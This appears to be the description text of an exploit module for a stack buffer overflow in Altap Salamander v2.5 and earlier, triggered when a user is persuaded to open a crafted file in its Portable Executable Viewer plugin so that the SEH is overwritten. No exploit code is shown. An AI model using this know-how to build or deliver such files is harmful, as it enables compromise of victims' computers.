  					This module exploits a buffer overflow in Altap Salamander <= v2.5.
  					By creating a malicious file and convincing a user to view the file with
  					the Portable Executable Viewer plugin within a vulnerable version of
  					Salamander, the PDB file string is copied onto the stack and the
  					SEH can be overwritten.
